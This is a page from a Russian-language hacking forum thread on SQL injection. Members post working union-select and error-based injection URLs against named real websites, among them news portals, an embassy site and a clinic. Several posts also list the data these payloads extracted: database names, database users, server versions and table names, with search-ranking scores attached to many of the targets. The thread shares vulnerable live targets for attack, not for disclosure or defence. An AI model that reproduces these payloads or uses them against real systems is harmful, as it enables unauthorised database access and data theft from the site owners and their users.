SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. kooler

    kooler Banned

    Joined:
    21 May 2012
    Messages:
    2
    Likes Received:
    3
    Reputations:
    6
    http://www.bgci.org/garden.php?id=787
    PR7, blind

    http://www.romecentral.com/article_list_singleeventpage.php?id=-43+union+select+1,2,3,4,5,6,7,8,9,0,1,version()--
    PR3

    http://www.real-samui-properties.com/detail.php?id=-483+union+select+1,2,3,4,5,6,7,8,version(),0,1,2,3,4,5,6,7,8,9--
    PR3
    4.1.22-standard

    http://www.kantine.com/detail.php?id=-1019+union+select+1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4--
    PR4
     
    #15361 kooler, 4 May 2013
    Last edited: 4 May 2013
    1 person likes this.
  2. LomasterII

    LomasterII New Member

    Joined:
    7 Jan 2013
    Messages:
    23
    Likes Received:
    4
    Reputations:
    5
    ну ты и подкинул скулю:
    www.bgci.org/garden.php?id=787'+and+1=0+union+select+1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135+--+
     
    1 person likes this.
  3. BeebleBrox

    BeebleBrox New Member

    Joined:
    18 Apr 2011
    Messages:
    12
    Likes Received:
    1
    Reputations:
    0
    mssql 5

    http://baumanec.bmstu.ru/global.php?news=-40+union+select+null,null,version(),null,null,null,null,null,null,null--
     
  4. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    db: seaofstories
    user: seaofstories@localhost
    ver: 5.5.30-30.1

    db: mblport2_user
    user: seaofstories@localhost
    ver: 5.0.51a-24+lenny4
     
    #15364 YaBtr, 6 May 2013
    Last edited by a moderator: 8 May 2013
  5. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    genhou5_genhound@localhost
    Linux
    5.5.30-cll
    genhou5_genhound
     
  6. eksin

    eksin Elder - Старейшина

    Joined:
    26 Sep 2011
    Messages:
    64
    Likes Received:
    30
    Reputations:
    39
    5.0.96-community
    yvaryfi_mcm
    yvaryfi_admin@localhost



    5.5.29-0ubuntu0.12.04.2
    lgtu
    lgtu@localhost



     
    1 person likes this.
  7. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    db: occurec_site
    version: 5.5.30-cll
    user: occurec_user@localhost

    db: cinemcjy_cinemarays
    ver: 5.1.59-rel13.0
    user: logcinemcjy_cinema@localhost

    db: abcconsu_abc_consultancy_com
    user: abcconsu_antweb@localhost
    ver: 5.1.68-cll1

    + названия таблиц

    db: magnolia_magsneaks
    user: [email protected]
    ver: 5.5.25a
    table: MOVIES

    db: Sql99578_1
    user: [email protected]
    ver: 5.0.92-enterprise-gpl-log
    tables: autori, cappelli, distributori, download, librerie,libri,link,news,oggetti, ordini, ordini_articoli, oroscopo, temi

    db: db254839555
    user: [email protected]
    ver: 5.1.67-log
    tables: categories,edito,liens,membres,photos,photos_du_mois,prix
     
    #15367 YaBtr, 7 May 2013
    Last edited by a moderator: 8 May 2013
    1 person likes this.
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    [​IMG]
    vkt.ru

    PHP:
    http://www.vkt.ru/index.php?mod=prog&id=51%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 180
    (PR) 4
    5.1.45

    ===============================================
    neocom72.ru

    PHP:
    http://neocom72.ru/index.php?id=5&price=2+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    (CY) 19000
    (PR) 0
    5.1.41-log
     
    #15368 qaz, 8 May 2013
    Last edited: 8 May 2013
    1 person likes this.
  9. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.treatmentinpoland.com/clinic.php?l=l6&id=-5+union+select+1,2,3,4,5,6,7,@@version+--+
     
  10. goot

    goot New Member

    Joined:
    25 Mar 2013
    Messages:
    2
    Likes Received:
    1
    Reputations:
    5
    Еще сами сайты делают =)
    Code:
    http://www.inetstudio.ru/project.php?p=3&id=183+union+select+1,user(),3--+1
    [email protected]
    5.0.95-log
     
    1 person likes this.
  11. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Какой то шоп
    Система учета энергоресурсов
    uralpress.ru
    Челябинск - новости города и Челябинской области
    Тиц 3 800
    Яндекс Каталог Да
    Проиндексировано 142 000

    Электронная еврейская энциклопедия - ЭЕЭ

    Яндекс тИЦ 1 200
    Яндекс Каталог Да
    Проиндексировано 7 000
     
    3 people like this.
  12. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================
    ==========================================
    ==========================================
    ==========================================
    ==========================================
    ==========================================
     
    #15372 YaBtr, 13 May 2013
    Last edited: 13 May 2013
    1 person likes this.
  13. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.mysterytomastery.com/products/?pid=1+/**/union/**/+/**/select/**/+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
    5.1.56-log:'mcmtm'@'208.113.128.0/255.255.128.0':mcm2m
     
  14. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================
     
    1 person likes this.
  15. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://gepec.cat/show_new.php?id=-21+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7--
     
    1 person likes this.
  16. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================
    ==========================================
     
  17. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://azembassy.pl/pl/index.php?section=-11+/**/union/**/+/**/select/**/+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),user(),database()),10,11,12,13,14+--+
    Вывод в title

    5.5.30:[email protected]:azembassy_hotcom
     
  18. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    novostimira.com

    PHP:
    http://novostimira.com/videonews.php?act=view&id=49175%27+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.5.15
    (CY) 550
    (PR) 5


    ==============================================
    newizv.ru

    PHP:
    http://www.newizv.ru/forum/?SectionID=1&ThreadID=33878+or+1+group+by+concat%28%28select+version%28%29%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
    5.1.66-log
    (CY) 12000
    (PR) 7


    ==============================================
     
    #15378 qaz, 16 May 2013
    Last edited: 16 May 2013
    1 person likes this.
  19. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    ==========================================
     
  20. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    File_prive Y
     
Thread Status:
Not open for further replies.